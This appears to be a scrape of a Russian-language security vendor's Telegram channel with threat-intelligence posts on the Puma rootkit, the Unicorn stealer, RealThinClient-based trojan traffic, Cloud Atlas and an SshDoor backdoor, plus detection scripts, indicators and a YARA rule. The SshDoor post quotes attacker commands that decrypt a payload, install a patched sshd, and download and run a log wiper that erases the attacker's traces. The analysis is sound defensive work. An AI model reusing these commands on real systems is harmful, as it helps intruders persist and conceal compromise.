ESCalator
6.58K subscribers
477 photos
1 video
18 files
190 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
🐾 По следам Puma: как обнаружить руткит через его же интерфейс

Сегодня в нашем обзоре технически интересный и многофункциональный руткит для Linux — Puma, недавно исследованный коллегами из Elastic Security Labs и Solar 4RAYS.

Puma представляет собой комплексный руткит уровня ядра (LKM), нацеленный на длительное скрытное пребывание в системе и кражу учетных данных для перемещения в инфраструктуре жертвы. Закрепляется в системе путем подмены штатного cron на модифицированный вредоносный аналог, состоящий из нескольких компонентов:

1️⃣ Загрузчик (wpn.bin) — отвечает за корректную установку модуля ядра.

2️⃣ Легитимный cron (tgt.bin) — обеспечивает исправную работу cron, чтобы жертва не заметила подмены.

3️⃣ LKM-модуль (audit) — основной компонент для перехвата системных вызовов и функций ядра Linux. Благодаря ему модуль эффективно скрывает процессы, файлы, директории и сетевые соединения, а также перехватывает чувствительную информацию, такую как учетные данные и криптографические ключи.

4️⃣ Бэкдор (libs.so) — обеспечивает связь с C2-сервером, получение команд от злоумышленников и передачу результатов.

🎯 Любопытная деталь

Помимо стандартного удаленного управления через C2-сервер в Puma используется и локальное, реализованное через переопределенный системный вызов rmdir: при наличии определенных аргументов руткит интерпретирует вызов как команду и возвращает инициировавшему процессу результат выполнения. Так, бэкдор использует этот механизм, чтобы запросить у модуля конфигурацию удаленного сервера или отобразить перехваченные конфиденциальные данные.

🔎 Что нам удалось обнаружить

Анализируя Puma, мы выявили в LKM-модуле важную уязвимость: он не проверяет, какой именно процесс вызывает переопределенный rmdir для выполнения команд. Таким образом, вызвав rmdir с определенными аргументами, можно однозначно определить присутствие руткита в системе.

📌 Почему это важно

Уязвимость трудноустранима: злоумышленники, используя возможности бэкдора, могут обновлять лишь его код, но не код загруженного в систему модуля ядра. Для этого потребуется значительно больше усилий. Таким образом, уязвимость можно использовать для быстрого детекта Puma в инфраструктуре.

🐍 Для удобства мы написали небольшой Python-скрипт, который поможет вам определить руткит в системе:

import ctypes
import subprocess
import os

SYS_rmdir = 84

buffer_size = 16
path_buf = ctypes.create_string_buffer(buffer_size)
ctypes.memmove(path_buf, b"zarya.u\0", 7)

libc = ctypes.CDLL("libc.so.6", use_errno=True)
ret = libc.syscall(SYS_rmdir, path_buf)

try:
proc = subprocess.Popen(
"lsmod | grep audit",
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
universal_newlines=True
)
output, _ = proc.communicate()

if output.strip():
path_buf2 = ctypes.create_string_buffer(buffer_size)
ctypes.memmove(path_buf2, b"zarya.t.0\0", 9)
ret2 = libc.syscall(SYS_rmdir, path_buf2)

if ret2 == 0:
print(f"Pumakit detected on this machine, module info:\n{output.strip()}")
else:
print("Pumakit wasn't detected at this machine")
else:
print("Pumakit wasn't detected at this machine")

except Exception as e:
print("Error:", e)


Не самый типичный случай — когда уязвимость играет не против защитника, а ему на руку. Такое бывает нечасто, но именно это дает возможность для точного детекта.

⚠️ Если вы обнаружили Puma, то в инфраструктуре почти наверняка есть и другое ВПО. Обязательно обратитесь за помощью к специалистам по реагированию на инциденты информационной безопасности.

#TI #detect #malware #linux
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥3613👍12🏆1
Большой браузер следит за тобой 👹

Группа киберразведки зафиксировала новую кампанию с использованием обновленного стилера Unicorn, начавшуюся в середине февраля и продолжающуюся по сей день. Целью атак является государственный сектор, а за их проведением стоит ранее не идентифицированная хакерская группировка.

Злоумышленники рассылают фишинговые письма с тематикой СВО, содержащие вложенные архивы с вредоносным HTA-файлом (скриншот 1). Этот файл содержит обфусцированный код и имеет название, совпадающее с темой письма. При его открытии запускается документ-приманка (скриншот 2), а вместе с ним — вредоносный код (посредством события window_OnLoad).

ВПО пытается мимикрировать под Яндекс Браузер. Вредоносный скрипт создает VBA-файлы по пути %USERPROFILE%\AppData\Local\YandexUpdate, добавляет полезную нагрузку в реестр HKCU\Software\YandexUpdate (скриншоты 3, 4), прописывает VBA-файлы в автозагрузку через реестр HKCU\Software\Microsoft\Windows\CurrentVersion\Run, а также регистрирует задания в планировщике с помощью schtasks.

🔤 Изначально злоумышленники использовали три скрипта:

log01.vbs — выполняет обход директорий пользователей, анализирует содержимое определенных папок и сохраняет файлы с заданными расширениями (.pdf, .txt, .doc, .docx, .rtf, .odt, .xls, .xlsx, .ods, .csv, .jpg, .png, .zip, .rar).
log02.vbs — похищает учетные данные из Telegram и браузеров (из Chrome, Edge, Opera, Яндекс Браузера).
log03.vbs — передает собранные данные на командный сервер.

👾 В последних атаках группировка модифицировала и расширила функциональность ВПО:

В crash_report.vbs (ранее — log01.vbs) увеличен список расширений файлов для сбора (.vsdx, .vdx, .7z, .tar, .jpeg, .cdr, .kmz, .kml, .aqe). Важно, что были добавлены расширения .kml и .kmz, используемые в военной топографии.
С помощью service_report.vba злоумышленники пытались получить список всех флеш-накопителей, но скрипт оказался нерабочим.
Добавлен механизм самозащиты: update_logging.vbs восстанавливает удаленные вредоносные файлы, подгружая их содержимое из реестра.

⚠️ Важно отметить, что VBA-скрипты не детектируются антивирусными решениями, так как считывают значения из реестра и запускают вредоносный код напрямую. Это усложняет процесс обнаружения (скриншот 5).

Анализ атаки указывает на развитие методики злоумышленников. Кроме того, стоит отметить, что группировка проявляет интерес к расширениям, связанным с картографией. Это может свидетельствовать о специфической цели или о стратегическом интересе в указанной области.

IoCs

Домен
vm-tiktok.org

Хеш-суммы
096c340e9a20476a191721e6eaeedcc2
0debff602f2912127c562839c7fcd3d7
e25042fba726356d7e88efe0608a4e36
290a4cff70029ca2a0095a3e3a8b19e7
65ef77db51277a046f76f21a59dee9e0
80bc350629a1ba59b2a19b9029feece5
d0f9fadbf157a8236b88cfc03f17a811
4feaa6c50348641799a8f56e76cd52e7


#TI #APT #Malware #Phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥26👍147🤔5💩3👏1
Реально тонкое взаимодействие 🕊

В ходе реверс-инжиниринга протокола одного из бразильских банковских троянов обнаружилось использование интересного сетевого фреймворка — RealThinClient. Процесс общения между клиентом и сервером в этом фреймворке построен на сериализации структур вызова функции в строковый формат и их последующей десериализации на другой стороне. Это делает RTC не только мощным инструментом разработки, но и удобной платформой для скрытого обмена командами — например, в случае малварного поведения.

Сначала клиент и сервер проходят через кастомное рукопожатие, в ходе которого устанавливаются ключи шифрования и дешифрования для обеих сторон. После этого фреймворк предоставляет возможность выполнять функции на стороне как клиента, так и сервера.

Перейдем сразу к примеру и на нем разберемся в логике работы инструмента. Клиент хочет залогиниться на сервере и отправляет запрос, как на скриншоте.

Что здесь происходит

1. Клиент формирует запрос:

Устанавливает параметр FC (function call) в значение Login.

Добавляет параметры: логин, пароль и id. Они передаются в виде структуры-словаря RE=3 (record), содержащей ключи user, pwd, id и т. п. В user можно передать зашифрованный малварный запрос. RE обозначает тип rtc_Record — это структура вида «ключ:значение», аналогичная словарю или JSON-объекту.

• На стороне Delphi это будет примерно так:

with FunctionCall.Param do
begin
asText['user'] := '...'; // rtc_Text
asText['pwd'] := ''; // rtc_Text
asString['id'] := '8DF313279CD34B81A3FB438708B4E8F1'; // rtc_String
end;


А при сериализации все это превратится в следующее:

RE=3;
user:T=...;
pwd:T=...;
id:S=...


📁 Когда мы вызываем удаленную функцию через RTC SDK, мы создаем объект TRtcFunctionInfo — это класс, который описывает удаленную вызываемую функцию, ее имя, параметры и результат выполнения. Он используется как на клиенте (для упаковки вызова), так и на сервере (для распаковки и выполнения). Объект TRtcFunctionInfo упаковывается в контейнер TRtcValue и сериализуется в строку или поток байтов.

TRtcValue может хранить любой поддерживаемый тип данных: строку, число, массив, запись, дату, вложенную функцию и т. п. Фактически он используется везде, где нужно передать или получить данные по сети, например в параметрах удаленной функции (Param.asValue[...]) или результатах выполнения функций (Result.asValue). Это делает его гибким, но и потенциально непрозрачным, что хорошо для скрытой передачи команд, особенно если используются вложенные структуры типа rtc_Function.

Перед отправкой запроса клиент регистрирует хендлер OnLoginResult для обработки результата выполнения функции на сервере.

2. Запрос отправляется на сервер RTC:

Сервер принимает HTTP-запрос и интерпретирует параметр FC как указание на то, какую функцию нужно вызвать.

На стороне сервера вызывается обработчик для функции Login. Выполняется Delphi-процедура, связанная с этим именем.

3. Сервер отвечает:

Результат функции возвращается клиенту, и он вызывает свой хендлер OnLoginResult для обработки полученного ответа.

Ответ сервера десериализуется обратно в TRtcValue, чтобы мы смогли снова получить доступ к его структуре. Сервер может вернуть не просто данные, а вложенный вызов функции. Это структура, поле в которой содержит rtc_Function, rtc_Record или rtc_Array, которые клиент десериализует и выполняет.

Например:

if xData.isType = rtc_Record then
ExecuteRec(xData.asRecord)
else if xData.isType = rtc_Array then
ExecuteArr(xData.asArray)


👾 Это может успешно использоваться в малвари: сервер возвращает зашифрованное описание команды, которую клиент должен выполнить. Таким образом, в легитимный RTC-поток можно прятать вполне себе вредоносное поведение.

#reverse #hacktool
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15🤯127👍2
APT-группировка Cloud Atlas атакует предприятия ОПК России 🌎

В конце прошлого — начале текущего года группа киберразведки обнаружила миграцию управляющей инфраструктуры и эволюцию вредоносных документов в арсенале Cloud Atlas, ознаменовавшие начало новой кампании группировки в отношении предприятий оборонно-промышленного комплекса России.

Наблюдение за выявленной вредоносной инфраструктурой позволило в режиме реального времени отслеживать весь размах новой киберактивности группировки Cloud Atlas, в том числе вскрыть BEC-атаки с использованием электронной почты ранее зараженных предприятий ОПК России для отправки вредоносных документов Microsoft Office в адрес контрагентов.

📫 Вектором проникновения традиционно выступала фишинговая рассылка электронных писем с вредоносными документами Microsoft Office во вложении. Информация об управляющей инфраструктуре и вредоносные VB-скрипты были скрыты в альтернативном потоке данных (1Table) документов. Открытие файлов приводило к выполнению этих скриптов, которые взаимодействовали с API Google Sheets для передачи информации о зараженной системе и загрузки бэкдора PowerShower с последующей эксфильтрацией украденных данных в облачные хранилища (более подробно — в нашем прошлом исследовании).

По содержанию вредоносные вложения представляли собой приглашения на курсы повышения квалификации, документы об антикоррупционных проверках и мобилизационных мероприятиях, акты сверки взаимных расчетов, справки в отношении сотрудников, резюме соискателей на должность оператора ЧПУ.


🤷‍♂️ Обнаруженные документы — по большей части характерные для государственного сектора шаблоны — отсутствуют в открытом доступе и, вероятнее всего, были украдены из сетей ранее атакованных предприятий. Во избежание раскрытия предприятий, в сетях которых присутствует группировка, из зараженных документов накануне использования в новых атаках удалялись метаданные, о чем свидетельствуют временные метки их модификации.

Активность АРТ-группировки Cloud Atlas отслеживается с 2014 года. Традиционной географией атак являются страны СНГ. В 2024 году вектор кибератак существенно сместился в сторону России, их высокая интенсивность, частота миграции атакующей инфраструктуры и эволюции вредоносных документов сохраняются до настоящего времени.

Прогнозируется сохранение высокого уровня опасности киберугроз для российских учреждений и организаций, исходящих от APT-группировки Cloud Atlas.

🧐 Подробнее читайте на нашем сайте.

#TI #APT #Malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥28🤮1914👎14💩14👍13🤬12🗿3🤡1
По какому фрагменту кода можно определить семейство вредоносного ПО? 🤨

Атрибуция — одна из задач, с которыми сталкиваются аналитики во время исследования атак. Пройдите небольшой тест на онлайн-марафоне Standoff Defend (второй шаг) и проверьте свои силы в атрибуции.

А на самом полигоне Standoff Defend любой желающий уже сейчас может протестировать главную новинку — регулируемые атаки, в рамках которых достоверно воспроизводятся тактики и техники крупнейших APT-группировок (четвертый шаг).

#APT #StandoffDefend
@ptescalator
18🔥16👍10🤡1
Team46 и TaxOff: две стороны одной медали 😑

В марте 2025 года специалисты TI-департамента экспертного центра безопасности Positive Technologies (PT Expert Security Center, PT ESC) исследовали атаку, в которой использовалась зарегистрированная примерно в это же время уязвимость нулевого дня CVE-2025-2783 в браузере Chrome. Использование этой уязвимости и саму атаку описали исследователи из «Лаборатории Касперского», однако последующая цепочка заражения осталась без атрибуции.

🪞 В отчете описана атрибуция данной атаки к группировке TaxOff, о которой мы писали ранее. Кроме того, приводятся данные, которые позволяют считать еще одну найденную нами ранее группировку Team46 и TaxOff одной и той же группой.

Начальным вектором атаки было фишинговое письмо, содержащее ссылку, при переходе по которой жертва активировала one-click exploit, приводящий к установке бэкдора Trinper группировки TaxOff в скомпрометированной системе. В этой атаке был обнаружен бэкдор группировки Team46.

Группировка Team46 была ранее замечена в атаках, использующих DLL-Hijacking для Яндекс Браузера (CVE-2024-6473).

📖 Подробнее читайте на нашем сайте.

#TI #APT #cve
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👍117👏2🤡2🤓1😨1
Ваш любимый эмодзи под нашими постами 🥺
Anonymous Quiz
27%
🔥
7%
👍
3%
❤️
16%
🗿
2%
🤮
8%
💩
1%
🤬
29%
🤡
2%
😂
5%
🤯
🤡51🗿24🔥104💩4🤯3🖕31😁1🤓1🫡1
(Ex)Cobalt == (Ex)Carbanak 🤔

С начала 2025 года команда PT ESC отмечает рост числа атак с применением бэкдора SshDoor. В центре внимания подобных атак часто оказываются российские государственные учреждения.

Получив доступ к узлам жертв, атакующие запускают sh-скрипт Release.gz (скриншот 1), который помимо прочего скачивает зашифрованный OpenSSL файл main.jpg (скриншот 2).

file ./main.jpg
./main.jpg: openssl enc'd data with salted password


Команда для расшифровки файла:

openssl aes-256-cbc -md sha256 -d -in $ARCHIVE_NAME -out tmp.tar.gz -k $ZIP_PASS


Затем на скомпрометированном узле компилируется патченный sshd и перезапускается сервис sshd.

...
make -j4>> /dev/null &&
strip ssh sshd &&
make install
...
service sshd restart


Патченный sshd (скриншот 3) имеет ряд сходств с бэкдором SshDoor, который описывали в материалах Linux/SSHDoor.A Backdoored SSH daemon that steals passwords (2013 года) и Inside the Response of a Unique CARBANAK Intrusion (2017 года).

В целом функциональность обнаруженного нами SshDoor значительных изменений не претерпела. Бэкдор позволяет злоумышленнику получить скрытый доступ на скомпрометированный сервер по протоколу SSH c ключом или паролем, заданным в конфигурационном файле либо в коде самого бэкдора. Также бэкдор собирает и отправляет на удаленный сервер аутентификационные данные пользователей.

В материале Inside the Response of a Unique CARBANAK Intrusion данный образец исследователи связывали с APT-группой Carbanak, которая успешно атаковала банковские организации в 2015 году.

Также в арсенал атакующей группы входит утилита A D V A N C E D L O G W I P E R (ALW) (скриншот 4), которая компилируется на узле жертвы и удаляет из ряда журналов /var/log/* (скриншот 5) все записи, которые содержат IP-адрес атакующих ($YOUR_IP).

#------------------------Clean logs-------------------------------------
if which gcc >/dev/null 2>&1 ; then
$DOWNLOADER $LOG_CLEANER; gcc log.c -o log; ./log -h $YOUR_IP;rm -f log log.c;
else
PACKET_MANAGER=$PACKET_MANAGER" gcc";
$PACKET_MANAGER && $DOWNLOADER $LOG_CLEANER; gcc log.c -o log; ./log -h $YOUR_IP;rm -f log log.c;
fi


Примечательно, что команда RSA Global Incident Response в своем материале относит ALW также к деятельности группы Carbanak.

Файлы конфигурации:
/var/run/.options
/dev/shm/.options


C2:
cdn2-os.pythonupdate.com
centos.pythonupdate.com
pkg.pkg-pfsense.org


MD5:
016bd8119efd5fae482131464ff1dfde
eec5d0c3fc2b1b1074c3648e26d1fe08
0689b1e75241f93b43cd2af0c2f10217


YARA:
rule SshDoor {
strings:
$spy1 = "SPY_PATH"
$spy2 = "SPY_PORT"
$spy3 = "SPY_HOST"
$spy4 = "spy_passwd"
$spy5 = "spy_master"
$spy6 = "spy_bc_addr"
$spy7 = "spy_buff"
$spy8 = "spy_addr"
$spy9 = "spy_buff_port"
$sshd = "usage: sshd"
condition:
uint32be(0) == 0x7f454c46 and $sshd and (any of ($spy*))
}


Happy hunting!

#hunt #ti #ioc #yara #dfir #detect #unix #apt
@ptescalator
🔥268👍86👻1
Как СaT запутал в клубке сразу несколько группировок? 🧶

Осенью 2024 года наше внимание привлек интересный инструмент, обнаруженный во время изучения активности группировки PhaseShifters. Это оказался криптор по подписке (CaaS) Crypters And Tools — мы уже подробно разбирали его в первой части исследования: как он работает, чем именно выделяется среди других и как устроена его инфраструктура.

Теперь же мы возвращаемся к теме APT-группировок, но фокус сместим на других злоумышленников — TA558, Blind Eagle и Aggah, чью деятельность мы рассмотрим более детально.

🐾 Какие группы точно использовали Crypters And Tools в своих атаках?

🔎 Насколько связаны между собой эти группировки, использующие CaT?

🇵🇰 Как Aggah поживает после 2022 года?

🧩 Как мы установили конкретных пользователей?

💥 Какие пользователи являются членами группы TA558 и причем тут negrocock?

🇳🇬 Из какой африканской страны разослали 60 тысяч писем и причем тут Crypters And Tools?

На эти и другие вопросы вы найдете ответы во второй части нашей статьи про Crypters And Tools.

#TI #APT #hacktool
@ptescalator
🔥22👍1210🗿2🤡1